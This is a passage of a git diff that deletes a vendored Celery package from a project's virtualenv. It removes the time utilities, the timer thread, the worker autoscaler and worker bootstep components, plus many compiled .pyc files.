dt.weekday(), 0, 0) - stamp = _time.mktime(tt) - tt = _time.localtime(stamp) - return tt.tm_isdst > 0 - - -class _Zone: - """Timezone class that provides the timezone for the application. - If `enable_utc` is disabled, LocalTimezone is provided as the timezone provider through local(). - Otherwise, this class provides a UTC ZoneInfo instance as the timezone provider for the application. - - Additionally this class provides a few utility methods for converting datetimes. - """ - - def tz_or_local(self, tzinfo: tzinfo | None = None) -> tzinfo: - """Return either our local timezone or the provided timezone.""" - - # pylint: disable=redefined-outer-name - if tzinfo is None: - return self.local - return self.get_timezone(tzinfo) - - def to_local(self, dt: datetime, local=None, orig=None): - """Converts a datetime to the local timezone.""" - - if is_naive(dt): - dt = make_aware(dt, orig or self.utc) - return localize(dt, self.tz_or_local(local)) - - def to_system(self, dt: datetime) -> datetime: - """Converts a datetime to the system timezone.""" - - # tz=None is a special case since Python 3.3, and will - # convert to the current local timezone (Issue #2306). - return dt.astimezone(tz=None) - - def to_local_fallback(self, dt: datetime) -> datetime: - """Converts a datetime to the local timezone, or the system timezone.""" - if is_naive(dt): - return make_aware(dt, self.local) - return localize(dt, self.local) - - def get_timezone(self, zone: str | tzinfo) -> tzinfo: - """Returns ZoneInfo timezone if the provided zone is a string, otherwise return the zone.""" - if isinstance(zone, str): - return ZoneInfo(zone) - return zone - - @cached_property - def local(self) -> LocalTimezone: - """Return LocalTimezone instance for the application.""" - return LocalTimezone() - - @cached_property - def utc(self) -> tzinfo: - """Return UTC timezone created with ZoneInfo.""" - return self.get_timezone('UTC') - - -timezone = _Zone() - - -def maybe_timedelta(delta: int) -> timedelta: - """Convert integer to timedelta, if argument is an integer.""" - if isinstance(delta, numbers.Real): - return timedelta(seconds=delta) - return delta - - -def delta_resolution(dt: datetime, delta: timedelta) -> datetime: - """Round a :class:`~datetime.datetime` to the resolution of timedelta. - - If the :class:`~datetime.timedelta` is in days, the - :class:`~datetime.datetime` will be rounded to the nearest days, - if the :class:`~datetime.timedelta` is in hours the - :class:`~datetime.datetime` will be rounded to the nearest hour, - and so on until seconds, which will just return the original - :class:`~datetime.datetime`. - """ - delta = max(delta.total_seconds(), 0) - - resolutions = ((3, lambda x: x / 86400), - (4, lambda x: x / 3600), - (5, lambda x: x / 60)) - - args = dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second - for res, predicate in resolutions: - if predicate(delta) >= 1.0: - return datetime(*args[:res], tzinfo=dt.tzinfo) - return dt - - -def remaining( - start: datetime, ends_in: timedelta, now: Callable | None = None, - relative: bool = False) -> timedelta: - """Calculate the real remaining time for a start date and a timedelta. - - For example, "how many seconds left for 30 seconds after start?" - - Arguments: - start (~datetime.datetime): Starting date. - ends_in (~datetime.timedelta): The end delta. - relative (bool): If enabled the end time will be calculated - using :func:`delta_resolution` (i.e., rounded to the - resolution of `ends_in`). - now (Callable): Function returning the current time and date. - Defaults to :func:`datetime.now(timezone.utc)`. - - Returns: - ~datetime.timedelta: Remaining time. - """ - now = now or datetime.now(datetime_timezone.utc) - end_date = start + ends_in - if relative: - end_date = delta_resolution(end_date, ends_in).replace(microsecond=0) - - # Using UTC to calculate real time difference. - # Python by default uses wall time in arithmetic between datetimes with - # equal non-UTC timezones. - now_utc = now.astimezone(timezone.utc) - end_date_utc = end_date.astimezone(timezone.utc) - ret = end_date_utc - now_utc - if C_REMDEBUG: # pragma: no cover - print( - 'rem: NOW:{!r} NOW_UTC:{!r} START:{!r} ENDS_IN:{!r} ' - 'END_DATE:{} END_DATE_UTC:{!r} REM:{}'.format( - now, now_utc, start, ends_in, end_date, end_date_utc, ret) - ) - return ret - - -def rate(r: str) -> float: - """Convert rate string (`"100/m"`, `"2/h"` or `"0.5/s"`) to seconds.""" - if r: - if isinstance(r, str): - ops, _, modifier = r.partition('/') - return RATE_MODIFIER_MAP[modifier or 's'](float(ops)) or 0 - return r or 0 - return 0 - - -def weekday(name: str) -> int: - """Return the position of a weekday: 0 - 7, where 0 is Sunday. - - Example: - >>> weekday('sunday'), weekday('sun'), weekday('mon') - (0, 0, 1) - """ - abbreviation = name[0:3].lower() - try: - return WEEKDAYS[abbreviation] - except KeyError: - # Show original day name in exception, instead of abbr. - raise KeyError(name) - - -def yearmonth(name: str) -> int: - """Return the position of a month: 1 - 12, where 1 is January. - - Example: - >>> yearmonth('january'), yearmonth('jan'), yearmonth('may') - (1, 1, 5) - """ - abbreviation = name[0:3].lower() - try: - return YEARMONTHS[abbreviation] - except KeyError: - # Show original day name in exception, instead of abbr. - raise KeyError(name) - - -def humanize_seconds( - secs: int, prefix: str = '', sep: str = '', now: str = 'now', - microseconds: bool = False) -> str: - """Show seconds in human form. - - For example, 60 becomes "1 minute", and 7200 becomes "2 hours". - - Arguments: - prefix (str): can be used to add a preposition to the output - (e.g., 'in' will give 'in 1 second', but add nothing to 'now'). - now (str): Literal 'now'. - microseconds (bool): Include microseconds. - """ - secs = float(format(float(secs), '.2f')) - for unit, divider, formatter in TIME_UNITS: - if secs >= divider: - w = secs / float(divider) - return '{}{}{} {}'.format(prefix, sep, formatter(w), - pluralize(w, unit)) - if microseconds and secs > 0.0: - return '{prefix}{sep}{0:.2f} seconds'.format( - secs, sep=sep, prefix=prefix) - return now - - -def maybe_iso8601(dt: datetime | str | None) -> None | datetime: - """Either ``datetime | str -> datetime`` or ``None -> None``.""" - if not dt: - return - if isinstance(dt, datetime): - return dt - return isoparse(dt) - - -def is_naive(dt: datetime) -> bool: - """Return True if :class:`~datetime.datetime` is naive, meaning it doesn't have timezone info set.""" - return dt.tzinfo is None or dt.tzinfo.utcoffset(dt) is None - - -def _can_detect_ambiguous(tz: tzinfo) -> bool: - """Helper function to determine if a timezone can detect ambiguous times using dateutil.""" - - return isinstance(tz, ZoneInfo) or hasattr(tz, "is_ambiguous") - - -def _is_ambiguous(dt: datetime, tz: tzinfo) -> bool: - """Helper function to determine if a timezone is ambiguous using python's dateutil module. - - Returns False if the timezone cannot detect ambiguity, or if there is no ambiguity, otherwise True. - - In order to detect ambiguous datetimes, the timezone must be built using ZoneInfo, or have an is_ambiguous - method. Previously, pytz timezones would throw an AmbiguousTimeError if the localized dt was ambiguous, - but now we need to specifically check for ambiguity with dateutil, as pytz is deprecated. - """ - - return _can_detect_ambiguous(tz) and dateutil_tz.datetime_ambiguous(dt) - - -def make_aware(dt: datetime, tz: tzinfo) -> datetime: - """Set timezone for a :class:`~datetime.datetime` object.""" - - dt = dt.replace(tzinfo=tz) - if _is_ambiguous(dt, tz): - dt = min(dt.replace(fold=0), dt.replace(fold=1)) - return dt - - -def localize(dt: datetime, tz: tzinfo) -> datetime: - """Convert aware :class:`~datetime.datetime` to another timezone. - - Using a ZoneInfo timezone will give the most flexibility in terms of ambiguous DST handling. - """ - if is_naive(dt): # Ensure timezone aware datetime - dt = make_aware(dt, tz) - if dt.tzinfo == ZoneInfo("UTC"): - dt = dt.astimezone(tz) # Always safe to call astimezone on utc zones - return dt - - -def to_utc(dt: datetime) -> datetime: - """Convert naive :class:`~datetime.datetime` to UTC.""" - return make_aware(dt, timezone.utc) - - -def maybe_make_aware(dt: datetime, tz: tzinfo | None = None, - naive_as_utc: bool = True) -> datetime: - """Convert dt to aware datetime, do nothing if dt is already aware.""" - if is_naive(dt): - if naive_as_utc: - dt = to_utc(dt) - return localize( - dt, timezone.utc if tz is None else timezone.tz_or_local(tz), - ) - return dt - - -class ffwd: - """Version of ``dateutil.relativedelta`` that only supports addition.""" - - def __init__(self, year=None, month=None, weeks=0, weekday=None, day=None, - hour=None, minute=None, second=None, microsecond=None, - **kwargs: Any): - # pylint: disable=redefined-outer-name - # weekday is also a function in outer scope. - self.year = year - self.month = month - self.weeks = weeks - self.weekday = weekday - self.day = day - self.hour = hour - self.minute = minute - self.second = second - self.microsecond = microsecond - self.days = weeks * 7 - self._has_time = self.hour is not None or self.minute is not None - - def __repr__(self) -> str: - return reprcall('ffwd', (), self._fields(weeks=self.weeks, - weekday=self.weekday)) - - def __radd__(self, other: Any) -> timedelta: - if not isinstance(other, date): - return NotImplemented - year = self.year or other.year - month = self.month or other.month - day = min(monthrange(year, month)[1], self.day or other.day) - ret = other.replace(**dict(dictfilter(self._fields()), - year=year, month=month, day=day)) - if self.weekday is not None: - ret += timedelta(days=(7 - ret.weekday() + self.weekday) % 7) - return ret + timedelta(days=self.days) - - def _fields(self, **extra: Any) -> dict[str, Any]: - return dictfilter({ - 'year': self.year, 'month': self.month, 'day': self.day, - 'hour': self.hour, 'minute': self.minute, - 'second': self.second, 'microsecond': self.microsecond, - }, **extra) - - -def utcoffset( - time: ModuleType = _time, - localtime: Callable[..., _time.struct_time] = _time.localtime) -> float: - """Return the current offset to UTC in hours.""" - if localtime().tm_isdst: - return time.altzone // 3600 - return time.timezone // 3600 - - -def adjust_timestamp(ts: float, offset: int, - here: Callable[..., float] = utcoffset) -> float: - """Adjust timestamp based on provided utcoffset.""" - return ts - (offset - here()) * 3600 - - -def get_exponential_backoff_interval( - factor: int, - retries: int, - maximum: int, - full_jitter: bool = False -) -> int: - """Calculate the exponential backoff wait time.""" - # Will be zero if factor equals 0 - countdown = min(maximum, factor * (2 ** retries)) - # Full jitter according to - # https://aws.amazon.com/blogs/architecture/exponential-backoff-and-jitter/ - if full_jitter: - countdown = random.randrange(countdown + 1) - # Adjust according to maximum wait time and account for negative values. - return max(0, countdown) diff --git a/backend/venv/Lib/site-packages/celery/utils/timer2.py b/backend/venv/Lib/site-packages/celery/utils/timer2.py deleted file mode 100644 index adfdb403..00000000 --- a/backend/venv/Lib/site-packages/celery/utils/timer2.py +++ /dev/null @@ -1,160 +0,0 @@ -"""Scheduler for Python functions. - -.. note:: - This is used for the thread-based worker only, - not for amqp/redis/sqs/qpid where :mod:`kombu.asynchronous.timer` is used. -""" -import os -import sys -import threading -from itertools import count -from threading import TIMEOUT_MAX as THREAD_TIMEOUT_MAX -from time import sleep -from typing import Any, Callable, Iterator, Optional, Tuple - -from kombu.asynchronous.timer import Entry -from kombu.asynchronous.timer import Timer as Schedule -from kombu.asynchronous.timer import logger, to_timestamp - -TIMER_DEBUG = os.environ.get('TIMER_DEBUG') - -__all__ = ('Entry', 'Schedule', 'Timer', 'to_timestamp') - - -class Timer(threading.Thread): - """Timer thread. - - Note: - This is only used for transports not supporting AsyncIO. - """ - - Entry = Entry - Schedule = Schedule - - running: bool = False - on_tick: Optional[Callable[[float], None]] = None - - _timer_count: count = count(1) - - if TIMER_DEBUG: # pragma: no cover - def start(self, *args: Any, **kwargs: Any) -> None: - import traceback - print('- Timer starting') - traceback.print_stack() - super().start(*args, **kwargs) - - def __init__(self, schedule: Optional[Schedule] = None, - on_error: Optional[Callable[[Exception], None]] = None, - on_tick: Optional[Callable[[float], None]] = None, - on_start: Optional[Callable[['Timer'], None]] = None, - max_interval: Optional[float] = None, **kwargs: Any) -> None: - self.schedule = schedule or self.Schedule(on_error=on_error, - max_interval=max_interval) - self.on_start = on_start - self.on_tick = on_tick or self.on_tick - super().__init__() - # `_is_stopped` is likely to be an attribute on `Thread` objects so we - # double underscore these names to avoid shadowing anything and - # potentially getting confused by the superclass turning these into - # something other than an `Event` instance (e.g. a `bool`) - self.__is_shutdown = threading.Event() - self.__is_stopped = threading.Event() - self.mutex = threading.Lock() - self.not_empty = threading.Condition(self.mutex) - self.daemon = True - self.name = f'Timer-{next(self._timer_count)}' - - def _next_entry(self) -> Optional[float]: - with self.not_empty: - delay: Optional[float] - entry: Optional[Entry] - delay, entry = next(self.scheduler) - if entry is None: - if delay is None: - self.not_empty.wait(1.0) - return delay - return self.schedule.apply_entry(entry) - __next__ = next = _next_entry # for 2to3 - - def run(self) -> None: - try: - self.running = True - self.scheduler: Iterator[Tuple[Optional[float], Optional[Entry]]] = iter(self.schedule) - - while not self.__is_shutdown.is_set(): - delay = self._next_entry() - if delay: - if self.on_tick: - self.on_tick(delay) - if sleep is None: # pragma: no cover - break - sleep(delay) - try: - self.__is_stopped.set() - except TypeError: # pragma: no cover - # we lost the race at interpreter shutdown, - # so gc collected built-in modules. - pass - except Exception as exc: - logger.error('Thread Timer crashed: %r', exc, exc_info=True) - sys.stderr.flush() - os._exit(1) - - def stop(self) -> None: - self.__is_shutdown.set() - if self.running: - self.__is_stopped.wait() - self.join(THREAD_TIMEOUT_MAX) - self.running = False - - def ensure_started(self) -> None: - if not self.running and not self.is_alive(): - if self.on_start: - self.on_start(self) - self.start() - - def _do_enter(self, meth: str, *args: Any, **kwargs: Any) -> Entry: - self.ensure_started() - with self.mutex: - entry = getattr(self.schedule, meth)(*args, **kwargs) - self.not_empty.notify() - return entry - - def enter(self, entry: Entry, eta: float, priority: Optional[int] = None) -> Entry: - return self._do_enter('enter_at', entry, eta, priority=priority) - - def call_at(self, *args: Any, **kwargs: Any) -> Entry: - return self._do_enter('call_at', *args, **kwargs) - - def enter_after(self, *args: Any, **kwargs: Any) -> Entry: - return self._do_enter('enter_after', *args, **kwargs) - - def call_after(self, *args: Any, **kwargs: Any) -> Entry: - return self._do_enter('call_after', *args, **kwargs) - - def call_repeatedly(self, *args: Any, **kwargs: Any) -> Entry: - return self._do_enter('call_repeatedly', *args, **kwargs) - - def exit_after(self, secs: float, priority: int = 10) -> None: - self.call_after(secs, sys.exit, priority) - - def cancel(self, tref: Entry) -> None: - tref.cancel() - - def clear(self) -> None: - self.schedule.clear() - - def empty(self) -> bool: - return not len(self) - - def __len__(self) -> int: - return len(self.schedule) - - def __bool__(self) -> bool: - """``bool(timer)``.""" - return True - __nonzero__ = __bool__ - - @property - def queue(self) -> list: - return self.schedule.queue diff --git a/backend/venv/Lib/site-packages/celery/worker/__init__.py b/backend/venv/Lib/site-packages/celery/worker/__init__.py deleted file mode 100644 index 51106807..00000000 --- a/backend/venv/Lib/site-packages/celery/worker/__init__.py +++ /dev/null @@ -1,4 +0,0 @@ -"""Worker implementation.""" -from .worker import WorkController - -__all__ = ('WorkController',) diff --git a/backend/venv/Lib/site-packages/celery/worker/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/worker/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 4e1ee6d1..00000000 Binary files a/backend/venv/Lib/site-packages/celery/worker/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/worker/__pycache__/autoscale.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/worker/__pycache__/autoscale.cpython-311.pyc deleted file mode 100644 index 9105c698..00000000 Binary files a/backend/venv/Lib/site-packages/celery/worker/__pycache__/autoscale.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/worker/__pycache__/components.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/worker/__pycache__/components.cpython-311.pyc deleted file mode 100644 index d3068bd3..00000000 Binary files a/backend/venv/Lib/site-packages/celery/worker/__pycache__/components.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/worker/__pycache__/control.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/worker/__pycache__/control.cpython-311.pyc deleted file mode 100644 index 55545e4e..00000000 Binary files a/backend/venv/Lib/site-packages/celery/worker/__pycache__/control.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/worker/__pycache__/heartbeat.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/worker/__pycache__/heartbeat.cpython-311.pyc deleted file mode 100644 index 194bc5a1..00000000 Binary files a/backend/venv/Lib/site-packages/celery/worker/__pycache__/heartbeat.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/worker/__pycache__/loops.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/worker/__pycache__/loops.cpython-311.pyc deleted file mode 100644 index 5e2fd3ad..00000000 Binary files a/backend/venv/Lib/site-packages/celery/worker/__pycache__/loops.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/worker/__pycache__/pidbox.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/worker/__pycache__/pidbox.cpython-311.pyc deleted file mode 100644 index 659dba1f..00000000 Binary files a/backend/venv/Lib/site-packages/celery/worker/__pycache__/pidbox.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/worker/__pycache__/request.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/worker/__pycache__/request.cpython-311.pyc deleted file mode 100644 index dadc4224..00000000 Binary files a/backend/venv/Lib/site-packages/celery/worker/__pycache__/request.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/worker/__pycache__/state.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/worker/__pycache__/state.cpython-311.pyc deleted file mode 100644 index 95be058d..00000000 Binary files a/backend/venv/Lib/site-packages/celery/worker/__pycache__/state.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/worker/__pycache__/strategy.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/worker/__pycache__/strategy.cpython-311.pyc deleted file mode 100644 index 333e0266..00000000 Binary files a/backend/venv/Lib/site-packages/celery/worker/__pycache__/strategy.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/worker/__pycache__/worker.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/worker/__pycache__/worker.cpython-311.pyc deleted file mode 100644 index bf925b25..00000000 Binary files a/backend/venv/Lib/site-packages/celery/worker/__pycache__/worker.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/worker/autoscale.py b/backend/venv/Lib/site-packages/celery/worker/autoscale.py deleted file mode 100644 index e5b9024c..00000000 --- a/backend/venv/Lib/site-packages/celery/worker/autoscale.py +++ /dev/null @@ -1,154 +0,0 @@ -"""Pool Autoscaling. - -This module implements the internal thread responsible -for growing and shrinking the pool according to the -current autoscale settings. - -The autoscale thread is only enabled if -the :option:`celery worker --autoscale` option is used. -""" -import os -import threading -from time import monotonic, sleep - -from kombu.asynchronous.semaphore import DummyLock - -from celery import bootsteps -from celery.utils.log import get_logger -from celery.utils.threads import bgThread - -from . import state -from .components import Pool - -__all__ = ('Autoscaler', 'WorkerComponent') - -logger = get_logger(__name__) -debug, info, error = logger.debug, logger.info, logger.error - -AUTOSCALE_KEEPALIVE = float(os.environ.get('AUTOSCALE_KEEPALIVE', 30)) - - -class WorkerComponent(bootsteps.StartStopStep): - """Bootstep that starts the autoscaler thread/timer in the worker.""" - - label = 'Autoscaler' - conditional = True - requires = (Pool,) - - def __init__(self, w, **kwargs): - self.enabled = w.autoscale - w.autoscaler = None - - def create(self, w): - scaler = w.autoscaler = self.instantiate( - w.autoscaler_cls, - w.pool, w.max_concurrency, w.min_concurrency, - worker=w, mutex=DummyLock() if w.use_eventloop else None, - ) - return scaler if not w.use_eventloop else None - - def register_with_event_loop(self, w, hub): - w.consumer.on_task_message.add(w.autoscaler.maybe_scale) - hub.call_repeatedly( - w.autoscaler.keepalive, w.autoscaler.maybe_scale, - ) - - def info(self, w): - """Return `Autoscaler` info.""" - return {'autoscaler': w.autoscaler.info()} - - -class Autoscaler(bgThread): - """Background thread to autoscale pool workers.""" - - def __init__(self, pool, max_concurrency, - min_concurrency=0, worker=None, - keepalive=AUTOSCALE_KEEPALIVE, mutex=None): - super().__init__() - self.pool = pool - self.mutex = mutex or threading.Lock() - self.max_concurrency = max_concurrency - self.min_concurrency = min_concurrency - self.keepalive = keepalive - self._last_scale_up = None - self.worker = worker - - assert self.keepalive, 'cannot scale down too fast.' - - def body(self): - with self.mutex: - self.maybe_scale() - sleep(1.0) - - def _maybe_scale(self, req=None): - procs = self.processes - cur = min(self.qty, self.max_concurrency) - if cur > procs: - self.scale_up(cur - procs) - return True - cur = max(self.qty, self.min_concurrency) - if cur < procs: - self.scale_down(procs - cur) - return True - - def maybe_scale(self, req=None): - if self._maybe_scale(req): - self.pool.maintain_pool() - - def update(self, max=None, min=None): - with self.mutex: - if max is not None: - if max < self.processes: - self._shrink(self.processes - max) - self._update_consumer_prefetch_count(max) - self.max_concurrency = max - if min is not None: - if min > self.processes: - self._grow(min - self.processes) - self.min_concurrency = min - return self.max_concurrency, self.min_concurrency - - def scale_up(self, n): - self._last_scale_up = monotonic() - return self._grow(n) - - def scale_down(self, n): - if self._last_scale_up and ( - monotonic() - self._last_scale_up > self.keepalive): - return self._shrink(n) - - def _grow(self, n): - info('Scaling up %s processes.', n) - self.pool.grow(n) - - def _shrink(self, n): - info('Scaling down %s processes.', n) - try: - self.pool.shrink(n) - except ValueError: - debug("Autoscaler won't scale down: all processes busy.") - except Exception as exc: - error('Autoscaler: scale_down: %r', exc, exc_info=True) - - def _update_consumer_prefetch_count(self, new_max): - diff = new_max - self.max_concurrency - if diff: - self.worker.consumer._update_prefetch_count( - diff - ) - - def info(self): - return { - 'max': self.max_concurrency, - 'min': self.min_concurrency, - 'current': self.processes, - 'qty': self.qty, - } - - @property - def qty(self): - return len(state.reserved_requests) - - @property - def processes(self): - return self.pool.num_processes diff --git a/backend/venv/Lib/site-packages/celery/worker/components.py b/backend/venv/Lib/site-packages/celery/worker/components.py deleted file mode 100644 index f062affb..00000000 --- a/backend/venv/Lib/site-packages/celery/worker/components.py +++ /dev/null @@ -1,240 +0,0 @@ -"""Worker-level Bootsteps.""" -import atexit -import warnings - -from kombu.asynchronous import Hub as _Hub -from kombu.asynchronous import get_event_loop, set_event_loop -from kombu.asynchronous.semaphore import DummyLock, LaxBoundedSemaphore -from kombu.asynchronous.timer import Timer as _Timer - -from celery import bootsteps -from celery._state import _set_task_join_will_block -from celery.exceptions import ImproperlyConfigured -from celery.platforms import IS_WINDOWS -from celery.utils.log import worker_logger as logger - -__all__ = ('Timer', 'Hub', 'Pool', 'Beat', 'StateDB', 'Consumer') - -GREEN_POOLS = {'eventlet', 'gevent'} - -ERR_B_GREEN = """\ --B option doesn't work with eventlet/gevent pools: \ -use standalone beat instead.\ -""" - -W_POOL_SETTING = """ -The worker_pool setting shouldn't be used to select the eventlet/gevent -pools, instead you *must use the -P* argument so that patches are applied -as early as possible. -""" - - -class Timer(bootsteps.Step): - """Timer bootstep.""" - - def create(self, w): - if w.use_eventloop: - # does not use dedicated timer thread. - w.timer = _Timer(max_interval=10.0) - else: - if not w.timer_cls: - # Default Timer is set by the pool, as for example, the - # eventlet pool needs a custom timer implementation. - w.timer_cls = w.pool_cls.Timer - w.timer = self.instantiate(w.timer_cls, - max_interval=w.timer_precision, - on_error=self.on_timer_error, - on_tick=self.on_timer_tick) - - def on_timer_error(self, exc): - logger.error('Timer error: %r', exc, exc_info=True) - - def on_timer_tick(self, delay): - logger.debug('Timer wake-up! Next ETA %s secs.', delay) - - -class Hub(bootsteps.StartStopStep): - """Worker starts the event loop.""" - - requires = (Timer,) - - def __init__(self, w, **kwargs): - w.hub = None - super().__init__(w, **kwargs) - - def include_if(self, w): - return w.use_eventloop - - def create(self, w): - w.hub = get_event_loop() - if w.hub is None: - required_hub = getattr(w._conninfo, 'requires_hub', None) - w.hub = set_event_loop(( - required_hub if required_hub else _Hub)(w.timer)) - self._patch_thread_primitives(w) - return self - - def start(self, w): - pass - - def stop(self, w): - w.hub.close() - - def terminate(self, w): - w.hub.close() - - def _patch_thread_primitives(self, w): - # make clock use dummy lock - w.app.clock.mutex = DummyLock() - # multiprocessing's ApplyResult uses this lock. - try: - from billiard import pool - except ImportError: - pass - else: - pool.Lock = DummyLock - - -class Pool(bootsteps.StartStopStep): - """Bootstep managing the worker pool. - - Describes how to initialize the worker pool, and starts and stops - the pool during worker start-up/shutdown. - - Adds attributes: - - * autoscale - * pool - * max_concurrency - * min_concurrency - """ - - requires = (Hub,) - - def __init__(self, w, autoscale=None, **kwargs): - w.pool = None - w.max_concurrency = None - w.min_concurrency = w.concurrency - self.optimization = w.optimization - if isinstance(autoscale, str): - max_c, _, min_c = autoscale.partition(',') - autoscale = [int(max_c), min_c and int(min_c) or 0] - w.autoscale = autoscale - if w.autoscale: - w.max_concurrency, w.min_concurrency = w.autoscale - super().__init__(w, **kwargs) - - def close(self, w): - if w.pool: - w.pool.close() - - def terminate(self, w): - if w.pool: - w.pool.terminate() - - def create(self, w): - semaphore = None - max_restarts = None - if w.app.conf.worker_pool in GREEN_POOLS: # pragma: no cover - warnings.warn(UserWarning(W_POOL_SETTING)) - threaded = not w.use_eventloop or IS_WINDOWS - procs = w.min_concurrency - w.process_task = w._process_task - if not threaded: - semaphore = w.semaphore = LaxBoundedSemaphore(procs) - w._quick_acquire = w.semaphore.acquire - w._quick_release = w.semaphore.release - max_restarts = 100 - if w.pool_putlocks and w.pool_cls.uses_semaphore: - w.process_task = w._process_task_sem - allow_restart = w.pool_restarts - pool = w.pool = self.instantiate( - w.pool_cls, w.min_concurrency, - initargs=(w.app, w.hostname), - maxtasksperchild=w.max_tasks_per_child, - max_memory_per_child=w.max_memory_per_child, - timeout=w.time_limit, - soft_timeout=w.soft_time_limit, - putlocks=w.pool_putlocks and threaded, - lost_worker_timeout=w.worker_lost_wait, - threads=threaded, - max_restarts=max_restarts, - allow_restart=allow_restart, - forking_enable=True, - semaphore=semaphore, - sched_strategy=self.optimization, - app=w.app, - ) - _set_task_join_will_block(pool.task_join_will_block) - return pool - - def info(self, w): - return {'pool': w.pool.info if w.pool else 'N/A'} - - def register_with_event_loop(self, w, hub): - w.pool.register_with_event_loop(hub) - - -class Beat(bootsteps.StartStopStep): - """Step used to embed a beat process. - - Enabled when the ``beat`` argument is set. - """ - - label = 'Beat' - conditional = True - - def __init__(self, w, beat=False, **kwargs): - self.enabled = w.beat = beat - w.beat = None - super().__init__(w, beat=beat, **kwargs) - - def create(self, w): - from celery.beat import EmbeddedService - if w.pool_cls.__module__.endswith(('gevent', 'eventlet')): - raise ImproperlyConfigured(ERR_B_GREEN) - b = w.beat = EmbeddedService(w.app, - schedule_filename=w.schedule_filename, - scheduler_cls=w.scheduler) - return b - - -class StateDB(bootsteps.Step): - """Bootstep that sets up between-restart state database file.""" - - def __init__(self, w, **kwargs): - self.enabled = w.statedb - w._persistence = None - super().__init__(w, **kwargs) - - def create(self, w): - w._persistence = w.state.Persistent(w.state, w.statedb, w.app.clock) - atexit.register(w._persistence.save) - - -class Consumer(bootsteps.StartStopStep): - """Bootstep starting the Consumer blueprint.""" - - last = True - - def create(self, w): - if w.max_concurrency: - prefetch_count = max(w.max_concurrency, 1) * w.prefetch_multiplier - else: - prefetch_count = w.concurrency * w.prefetch_multiplier - c = w.consumer = self.instantiate( - w.consumer_cls, w.process_task, - hostname=w.hostname, - task_events=w.task_events, - init_callback=w.ready_callback, - initial_prefetch_count=prefetch_count, - pool=w.pool, - timer=w.timer, - app=w.app, - controller=w, - hub=w.hub, - worker_options=w.options, - disable_rate_limits=w.disable_rate_limits, - prefetch_multiplier=w.prefetch_multiplier, - ) - return c diff --git a/backend/venv/Lib/site-packages/celery/worker/consumer/__init__.py b/backend/venv/Lib/site-packages/celery/worker/consumer/__init__.py deleted file mode 100644 index 129801f7..00000000 --- a/backend/venv/Lib/site-packages/celery/worker/consumer/__init__.py +++ /dev/null @@ -1,15 +0,0 @@ -"""Worker consumer.""" -from .agent import Agent -from .connection import Connection -from .consumer import Consumer -from .control import Control -from .events import Events -from .gossip import Gossip -from .heart import Heart -from .mingle import Mingle -from .tasks import Tasks - -__all__ = ( - 'Consumer', 'Agent', 'Connection', 'Control', - 'Events', 'Gossip', 'Heart', 'Mingle', 'Tasks', -) diff --git a/backend/venv/Lib/site-packages/celery/worker/consumer/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/worker/consumer/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index b2cca60d..00000000 Binary files a/backend/venv/Lib/site-packages/celery/worker/consumer/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/worker/consumer/__pycache__/agent.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/worker/consumer/__pycache__/agent.cpython-311.pyc deleted file mode 100644 index 8fa9366b..00000000 Binary files a/backend/venv/Lib/site-packages/celery/worker/consumer/__pycache__/agent.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/worker/consumer/__pycache__/connection.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/worker/consumer/__pycache__/connection.cpython-311.pyc deleted file mode 100644 index c240778f..00000000 Binary files a/backend/venv/Lib/site-packages/celery/worker/consumer/__pycache__/connection.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/worker/consumer/__pycache__/consumer.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/worker/consumer/__pycache__/consumer.cpython-311.pyc deleted file mode 100644 index ba01095d..00000000 Binary files a/backend/venv/Lib/site-packages/celery/worker/consumer/__pycache__/consumer.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/worker/consumer/__pycache__/control.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/worker/consumer/__pycache__/control.cpython-311.pyc deleted file mode 100644 index cc3bb512..00000000 Binary files a/backend/venv/Lib/site-packages/celery/worker/consumer/__pycache__/control.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/worker/consumer/__pycache__/delayed_delivery.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/worker/consumer/__pycache__/delayed_delivery.cpython-311.pyc deleted file mode 100644 index 34d559ef..00000000 Binary files a/backend/venv/Lib/site-packages/celery/worker/consumer/__pycache__/delayed_delivery.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/celery/worker/consumer/__pycache__/events.cpython-311.pyc b/backend/venv/Lib/site-packages/celery/worker/consumer/__pycache__/events.cpython-311.pyc deleted file mode 100644 index 30f8bd63..00000000 Binary files 